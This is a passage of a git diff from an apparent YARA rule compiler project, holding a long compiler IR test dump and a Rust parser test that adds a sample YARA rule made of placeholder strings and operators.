hash: 0x7e699c8d78b13901 + 6: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 4: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 5: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 7: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 9: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 11: CONST string(".text") + 17: GT -- hash: 0xc0fd295a9fa39fa9 + 15: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 13: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 14: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 16: CONST integer(0) + +RULE test_hoisting_limit + 532: FOR_IN -- hash: 0x9955d895482ac2dd + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 531: FOR_IN -- hash: 0x39d3fce9735f69cd + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 530: AND -- hash: 0xa6c67725bbf1ce09 + 8: EQ -- hash: 0x8fb6fe40bf072288 + 6: ADD -- hash: 0xe38fe90ae410b35a + 4: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 5: CONST integer(0) + 7: CONST integer(10) + 13: EQ -- hash: 0x7be2178493efe6e0 + 11: ADD -- hash: 0x8c4973b1fbd58946 + 9: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 10: CONST integer(1) + 12: CONST integer(10) + 18: EQ -- hash: 0x680d30c864d8ab38 + 16: ADD -- hash: 0x3502fe590f9a5f32 + 14: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 15: CONST integer(2) + 17: CONST integer(10) + 23: EQ -- hash: 0x54384a0c39c16f90 + 21: ADD -- hash: 0xddbc8900235f351d + 19: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 20: CONST integer(3) + 22: CONST integer(10) + 28: EQ -- hash: 0x406363500eaa33e8 + 26: ADD -- hash: 0x867613a737240b09 + 24: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 25: CONST integer(4) + 27: CONST integer(10) + 33: EQ -- hash: 0x2c8e7c93e392f840 + 31: ADD -- hash: 0x2f2f9e4e4ae8e0f5 + 29: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 30: CONST integer(5) + 32: CONST integer(10) + 38: EQ -- hash: 0x18b995d7b47bbc98 + 36: ADD -- hash: 0xd7e928f55eadb6e0 + 34: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 35: CONST integer(6) + 37: CONST integer(10) + 43: EQ -- hash: 0x4e4af1b896480f0 + 41: ADD -- hash: 0x80a2b39c72728ccc + 39: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 40: CONST integer(7) + 42: CONST integer(10) + 48: EQ -- hash: 0xf10fc85f5e4d4547 + 46: ADD -- hash: 0x295c3e43863762b8 + 44: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 45: CONST integer(8) + 47: CONST integer(10) + 53: EQ -- hash: 0xdd3ae1a33336099f + 51: ADD -- hash: 0xd215c8ea99fc38a3 + 49: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 50: CONST integer(9) + 52: CONST integer(10) + 58: EQ -- hash: 0xc965fae7041ecdf7 + 56: ADD -- hash: 0x7acf5391adc10e8f + 54: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 55: CONST integer(10) + 57: CONST integer(10) + 63: EQ -- hash: 0xb591142ad907924f + 61: ADD -- hash: 0x2388de38c185e47b + 59: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 60: CONST integer(11) + 62: CONST integer(10) + 68: EQ -- hash: 0xa1bc2d6eadf056a7 + 66: ADD -- hash: 0xcc4268dfd54aba66 + 64: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 65: CONST integer(12) + 67: CONST integer(10) + 73: EQ -- hash: 0x8de746b282d91aff + 71: ADD -- hash: 0x74fbf386e90f9052 + 69: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 70: CONST integer(13) + 72: CONST integer(10) + 78: EQ -- hash: 0x7a125ff657c1df57 + 76: ADD -- hash: 0x1db57e2dfcd4663e + 74: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 75: CONST integer(14) + 77: CONST integer(10) + 83: EQ -- hash: 0x663d793a28aaa3af + 81: ADD -- hash: 0xc66f08d510993c29 + 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 80: CONST integer(15) + 82: CONST integer(10) + 88: EQ -- hash: 0x5268927dfd936807 + 86: ADD -- hash: 0x6f28937c245e1215 + 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 85: CONST integer(16) + 87: CONST integer(10) + 93: EQ -- hash: 0x3e93abc1d27c2c5f + 91: ADD -- hash: 0x17e21e233822e801 + 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 90: CONST integer(17) + 92: CONST integer(10) + 98: EQ -- hash: 0x2abec505a764f0b7 + 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 95: CONST integer(18) + 97: CONST integer(10) + 103: EQ -- hash: 0x16e9de49784db50f + 101: ADD -- hash: 0x6955337163ac93d8 + 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 100: CONST integer(19) + 102: CONST integer(10) + 108: EQ -- hash: 0x314f78d4d367967 + 106: ADD -- hash: 0x120ebe18777169c4 + 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 105: CONST integer(20) + 107: CONST integer(10) + 113: EQ -- hash: 0xef4010d1221f3dbe + 111: ADD -- hash: 0xbac848bf8b363faf + 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 110: CONST integer(21) + 112: CONST integer(10) + 118: EQ -- hash: 0xdb6b2a14f7080216 + 116: ADD -- hash: 0x6381d3669efb159b + 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 115: CONST integer(22) + 117: CONST integer(10) + 123: EQ -- hash: 0xc7964358cbf0c66e + 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 120: CONST integer(23) + 122: CONST integer(10) + 128: EQ -- hash: 0xb3c15c9c9cd98ac6 + 126: ADD -- hash: 0xb4f4e8b4c684c172 + 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 125: CONST integer(24) + 127: CONST integer(10) + 133: EQ -- hash: 0x9fec75e071c24f1e + 131: ADD -- hash: 0x5dae735bda49975e + 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 130: CONST integer(25) + 132: CONST integer(10) + 138: EQ -- hash: 0x8c178f2446ab1376 + 136: ADD -- hash: 0x667fe02ee0e6d4a + 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 135: CONST integer(26) + 137: CONST integer(10) + 143: EQ -- hash: 0x7842a8681b93d7ce + 141: ADD -- hash: 0xaf2188aa01d34335 + 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 140: CONST integer(27) + 142: CONST integer(10) + 148: EQ -- hash: 0x646dc1abec7c9c26 + 146: ADD -- hash: 0x57db135115981921 + 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 145: CONST integer(28) + 147: CONST integer(10) + 153: EQ -- hash: 0x5098daefc165607e + 151: ADD -- hash: 0x949df8295cef0d + 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 150: CONST integer(29) + 152: CONST integer(10) + 158: EQ -- hash: 0x3cc3f433964e24d6 + 156: ADD -- hash: 0xa94e289f3d21c4f8 + 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 155: CONST integer(30) + 157: CONST integer(10) + 163: EQ -- hash: 0x28ef0d776b36e92e + 161: ADD -- hash: 0x5207b34650e69ae4 + 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 160: CONST integer(31) + 162: CONST integer(10) + 168: EQ -- hash: 0x151a26bb3c1fad86 + 166: ADD -- hash: 0xfac13ded64ab70cf + 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 165: CONST integer(32) + 167: CONST integer(10) + 173: EQ -- hash: 0x1453fff110871de + 171: ADD -- hash: 0xa37ac894787046bb + 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 170: CONST integer(33) + 172: CONST integer(10) + 178: EQ -- hash: 0xed705942e5f13635 + 176: ADD -- hash: 0x4c34533b8c351ca7 + 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 175: CONST integer(34) + 177: CONST integer(10) + 183: EQ -- hash: 0xd99b7286bad9fa8d + 181: ADD -- hash: 0xf4eddde2a3f9f292 + 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 180: CONST integer(35) + 182: CONST integer(10) + 188: EQ -- hash: 0xc5c68bca8fc2bee5 + 186: ADD -- hash: 0x9da76889b7bec87e + 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 185: CONST integer(36) + 187: CONST integer(10) + 193: EQ -- hash: 0xb1f1a50e60ab833d + 191: ADD -- hash: 0x4660f330cb839e6a + 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 190: CONST integer(37) + 192: CONST integer(10) + 198: EQ -- hash: 0x9e1cbe5235944795 + 196: ADD -- hash: 0xef1a7dd7df487455 + 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 195: CONST integer(38) + 197: CONST integer(10) + 203: EQ -- hash: 0x8a47d7960a7d0bed + 201: ADD -- hash: 0x97d4087ef30d4a41 + 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 200: CONST integer(39) + 202: CONST integer(10) + 208: EQ -- hash: 0x7672f0d9df65d045 + 206: ADD -- hash: 0x408d932606d2202d + 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 205: CONST integer(40) + 207: CONST integer(10) + 213: EQ -- hash: 0x629e0a1db04e949d + 211: ADD -- hash: 0xe9471dcd1a96f618 + 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 210: CONST integer(41) + 212: CONST integer(10) + 218: EQ -- hash: 0x4ec92361853758f5 + 216: ADD -- hash: 0x9200a8742e5bcc04 + 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 215: CONST integer(42) + 217: CONST integer(10) + 223: EQ -- hash: 0x3af43ca55a201d4d + 221: ADD -- hash: 0x3aba331b4220a1f0 + 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 220: CONST integer(43) + 222: CONST integer(10) + 228: EQ -- hash: 0x271f55e92f08e1a5 + 226: ADD -- hash: 0xe373bdc255e577db + 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 225: CONST integer(44) + 227: CONST integer(10) + 233: EQ -- hash: 0x134a6f2d03f1a5fd + 231: ADD -- hash: 0x8c2d486969aa4dc7 + 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 230: CONST integer(45) + 232: CONST integer(10) + 238: EQ -- hash: 0xff758870d4da6a54 + 236: ADD -- hash: 0x34e6d3107d6f23b3 + 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 235: CONST integer(46) + 237: CONST integer(10) + 243: EQ -- hash: 0xeba0a1b4a9c32eac + 241: ADD -- hash: 0xdda05db79133f99e + 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 240: CONST integer(47) + 242: CONST integer(10) + 248: EQ -- hash: 0xd7cbbaf87eabf304 + 246: ADD -- hash: 0x8659e85ea4f8cf8a + 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 245: CONST integer(48) + 247: CONST integer(10) + 253: EQ -- hash: 0xc3f6d43c5394b75c + 251: ADD -- hash: 0x2f137305b8bda576 + 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 250: CONST integer(49) + 252: CONST integer(10) + 258: EQ -- hash: 0xb021ed80247d7bb4 + 256: ADD -- hash: 0xd7ccfdaccc827b61 + 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 255: CONST integer(50) + 257: CONST integer(10) + 263: EQ -- hash: 0x9c4d06c3f966400c + 261: ADD -- hash: 0x80868853e047514d + 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 260: CONST integer(51) + 262: CONST integer(10) + 268: EQ -- hash: 0x88782007ce4f0464 + 266: ADD -- hash: 0x294012faf40c2739 + 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 265: CONST integer(52) + 267: CONST integer(10) + 273: EQ -- hash: 0x74a3394ba337c8bc + 271: ADD -- hash: 0xd1f99da20bd0fd24 + 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 270: CONST integer(53) + 272: CONST integer(10) + 278: EQ -- hash: 0x60ce528f74208d14 + 276: ADD -- hash: 0x7ab328491f95d310 + 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 275: CONST integer(54) + 277: CONST integer(10) + 283: EQ -- hash: 0x4cf96bd34909516c + 281: ADD -- hash: 0x236cb2f0335aa8fc + 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 280: CONST integer(55) + 282: CONST integer(10) + 288: EQ -- hash: 0x392485171df215c4 + 286: ADD -- hash: 0xcc263d97471f7ee7 + 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 285: CONST integer(56) + 287: CONST integer(10) + 293: EQ -- hash: 0x254f9e5af2dada1c + 291: ADD -- hash: 0x74dfc83e5ae454d3 + 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 290: CONST integer(57) + 292: CONST integer(10) + 298: EQ -- hash: 0x117ab79ec7c39e74 + 296: ADD -- hash: 0x1d9952e56ea92abf + 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 295: CONST integer(58) + 297: CONST integer(10) + 303: EQ -- hash: 0xfda5d0e298ac62cb + 301: ADD -- hash: 0xc652dd8c826e00aa + 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 300: CONST integer(59) + 302: CONST integer(10) + 308: EQ -- hash: 0xe9d0ea266d952723 + 306: ADD -- hash: 0x6f0c68339632d696 + 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 305: CONST integer(60) + 307: CONST integer(10) + 313: EQ -- hash: 0xd5fc036a427deb7b + 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 310: CONST integer(61) + 312: CONST integer(10) + 318: EQ -- hash: 0xc2271cae1766afd3 + 316: ADD -- hash: 0xc07f7d81bdbc826d + 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 315: CONST integer(62) + 317: CONST integer(10) + 323: EQ -- hash: 0xae5235f1e84f742b + 321: ADD -- hash: 0x69390828d1815859 + 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 320: CONST integer(63) + 322: CONST integer(10) + 328: EQ -- hash: 0x9a7d4f35bd383883 + 326: ADD -- hash: 0x11f292cfe5462e45 + 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 325: CONST integer(64) + 327: CONST integer(10) + 333: EQ -- hash: 0x86a868799220fcdb + 331: ADD -- hash: 0xbaac1d76f90b0430 + 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 330: CONST integer(65) + 332: CONST integer(10) + 338: EQ -- hash: 0x72d381bd6709c133 + 336: ADD -- hash: 0x6365a81e0ccfda1c + 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 335: CONST integer(66) + 337: CONST integer(10) + 343: EQ -- hash: 0x5efe9b013bf2858b + 341: ADD -- hash: 0xc1f32c52094b008 + 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 340: CONST integer(67) + 342: CONST integer(10) + 348: EQ -- hash: 0x4b29b4450cdb49e3 + 346: ADD -- hash: 0xb4d8bd6c345985f3 + 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 345: CONST integer(68) + 347: CONST integer(10) + 353: EQ -- hash: 0x3754cd88e1c40e3b + 351: ADD -- hash: 0x5d924813481e5bdf + 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 350: CONST integer(69) + 352: CONST integer(10) + 358: EQ -- hash: 0x237fe6ccb6acd293 + 356: ADD -- hash: 0x64bd2ba5fe331cb + 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 355: CONST integer(70) + 357: CONST integer(10) + 363: EQ -- hash: 0xfab00108b9596eb + 361: ADD -- hash: 0xaf055d6173a807b6 + 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 360: CONST integer(71) + 362: CONST integer(10) + 368: EQ -- hash: 0xfbd619545c7e5b42 + 366: ADD -- hash: 0x57bee808876cdda2 + 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 365: CONST integer(72) + 367: CONST integer(10) + 373: EQ -- hash: 0xe801329831671f9a + 371: ADD -- hash: 0x7872af9b31b38e + 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 370: CONST integer(73) + 372: CONST integer(10) + 378: EQ -- hash: 0xd42c4bdc064fe3f2 + 376: ADD -- hash: 0xa931fd56aef68979 + 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 375: CONST integer(74) + 377: CONST integer(10) + 383: EQ -- hash: 0xc057651fdb38a84a + 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 380: CONST integer(75) + 382: CONST integer(10) + 388: EQ -- hash: 0xac827e63ac216ca2 + 386: ADD -- hash: 0xfaa512a4d6803550 + 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 385: CONST integer(76) + 387: CONST integer(10) + 393: EQ -- hash: 0x98ad97a7810a30fa + 391: ADD -- hash: 0xa35e9d4bea450b3c + 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 390: CONST integer(77) + 392: CONST integer(10) + 398: EQ -- hash: 0x84d8b0eb55f2f552 + 396: ADD -- hash: 0x4c1827f2fe09e128 + 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 395: CONST integer(78) + 397: CONST integer(10) + 403: EQ -- hash: 0x7103ca2f2adbb9aa + 401: ADD -- hash: 0xf4d1b29a11ceb713 + 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 400: CONST integer(79) + 402: CONST integer(10) + 408: EQ -- hash: 0x5d2ee372ffc47e02 + 406: ADD -- hash: 0x9d8b3d4125938cff + 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 405: CONST integer(80) + 407: CONST integer(10) + 413: EQ -- hash: 0x4959fcb6d0ad425a + 411: ADD -- hash: 0x4644c7e8395862eb + 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 410: CONST integer(81) + 412: CONST integer(10) + 418: EQ -- hash: 0x358515faa59606b2 + 416: ADD -- hash: 0xeefe528f4d1d38d6 + 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 415: CONST integer(82) + 417: CONST integer(10) + 423: EQ -- hash: 0x21b02f3e7a7ecb0a + 421: ADD -- hash: 0x97b7dd3660e20ec2 + 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 420: CONST integer(83) + 422: CONST integer(10) + 428: EQ -- hash: 0xddb48824f678f62 + 426: ADD -- hash: 0x407167dd74a6e4ae + 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 425: CONST integer(84) + 427: CONST integer(10) + 433: EQ -- hash: 0xfa0661c6205053b9 + 431: ADD -- hash: 0xe92af284886bba99 + 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 430: CONST integer(85) + 432: CONST integer(10) + 438: EQ -- hash: 0xe6317b09f5391811 + 436: ADD -- hash: 0x91e47d2b9c309085 + 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 435: CONST integer(86) + 437: CONST integer(10) + 443: EQ -- hash: 0xd25c944dca21dc69 + 441: ADD -- hash: 0x3a9e07d2b3f56671 + 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 440: CONST integer(87) + 442: CONST integer(10) + 448: EQ -- hash: 0xbe87ad919f0aa0c1 + 446: ADD -- hash: 0xe3579279c7ba3c5c + 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 445: CONST integer(88) + 447: CONST integer(10) + 453: EQ -- hash: 0xaab2c6d573f36519 + 451: ADD -- hash: 0x8c111d20db7f1248 + 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 450: CONST integer(89) + 452: CONST integer(10) + 458: EQ -- hash: 0x96dde01944dc2971 + 456: ADD -- hash: 0x34caa7c7ef43e834 + 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 455: CONST integer(90) + 457: CONST integer(10) + 463: EQ -- hash: 0x8308f95d19c4edc9 + 461: ADD -- hash: 0xdd84326f0308be1f + 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 460: CONST integer(91) + 462: CONST integer(10) + 468: EQ -- hash: 0x6f3412a0eeadb221 + 466: ADD -- hash: 0x863dbd1616cd940b + 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 465: CONST integer(92) + 467: CONST integer(10) + 473: EQ -- hash: 0x5b5f2be4c3967679 + 471: ADD -- hash: 0x2ef747bd2a9269f7 + 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 470: CONST integer(93) + 472: CONST integer(10) + 478: EQ -- hash: 0x478a4528947f3ad1 + 476: ADD -- hash: 0xd7b0d2643e573fe2 + 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 475: CONST integer(94) + 477: CONST integer(10) + 483: EQ -- hash: 0x33b55e6c6967ff29 + 481: ADD -- hash: 0x806a5d0b521c15ce + 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 480: CONST integer(95) + 482: CONST integer(10) + 488: EQ -- hash: 0x1fe077b03e50c381 + 486: ADD -- hash: 0x2923e7b265e0ebba + 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 485: CONST integer(96) + 487: CONST integer(10) + 493: EQ -- hash: 0xc0b90f4133987d9 + 491: ADD -- hash: 0xd1dd725979a5c1a5 + 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 490: CONST integer(97) + 492: CONST integer(10) + 498: EQ -- hash: 0xf836aa37e4224c30 + 496: ADD -- hash: 0x7a96fd008d6a9791 + 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 495: CONST integer(98) + 497: CONST integer(10) + 503: EQ -- hash: 0xe461c37bb90b1088 + 501: ADD -- hash: 0x235087a7a12f6d7d + 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 500: CONST integer(99) + 502: CONST integer(10) + 508: EQ -- hash: 0xd08cdcbf8df3d4e0 + 506: ADD -- hash: 0xcc0a124eb4f44368 + 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 505: CONST integer(100) + 507: CONST integer(10) + 513: EQ -- hash: 0xbcb7f60362dc9938 + 511: ADD -- hash: 0x74c39cf5c8b91954 + 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 510: CONST integer(101) + 512: CONST integer(10) + 518: EQ -- hash: 0xa8e30f4737c55d90 + 516: ADD -- hash: 0x1d7d279cdc7def40 + 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 515: CONST integer(102) + 517: CONST integer(10) + 523: EQ -- hash: 0x950e288b08ae21e8 + 521: ADD -- hash: 0xc636b243f042c52b + 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 520: CONST integer(103) + 522: CONST integer(10) + 528: EQ -- hash: 0x813941cedd96e640 + 526: ADD -- hash: 0x6ef03ceb04079b17 + 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 525: CONST integer(104) + 527: CONST integer(10) + diff --git a/parser/src/ast/tests.rs b/parser/src/ast/tests.rs index 9b198134..e00d2554 100644 --- a/parser/src/ast/tests.rs +++ b/parser/src/ast/tests.rs @@ -4,7 +4,42 @@ use crate::{Parser, Span, ast}; #[test] fn ast_from_cst() { - let source = br#"rule test { condition: true }"#; + let source = br#" + global private rule test { + meta: + author = "test" + version = 3.14 + strings: + $a = "abc" ascii wide fullword + $b = "cde" base64 + $c = { 01 02 [1-2] ?? } + $d = /reg.*exp/i nocase + condition: + all of them and + any of ($a*) and + filesize > 100 and + (1 << 2) + (8 >> 1) >= 4 and + 1 == 1 and + 2 != 3 and + 4 < 5 and + 6 <= 6 and + 7 > 2 and + "foo" contains "f" and + "bar" icontains "B" and + "baz" startswith "b" + and "qux" istartswith "Q" and + "end" endswith "d" and + "IEND" iendswith "D" and + "eq" iequals "EQ" and + "str" matches /str/ and + not false and none of ($b*) and + (1 & 2) | (3 ^ 4) != ~0 and + 5 % 2 == 1 and + 2 * 3 == 6 and + 1 - 1 == 0 + } + "#; + let parser = Parser::new(source); let cst = CST::try_from(parser).unwrap(); let ast = AST::new(source, cst.iter()); @@ -14,6 +49,7 @@ fn ast_from_cst() { _ => panic!(), }; + assert!(ast.errors.is_empty()); assert_eq!(rule.identifier.name, "test"); let source = br#"foo"#; diff --git a/test.yar b/test.yar new file mode 100644 index 00000000..d8dd87ec --- /dev/null +++ b/test.yar @@ -0,0 +1,33 @@ + global private rule 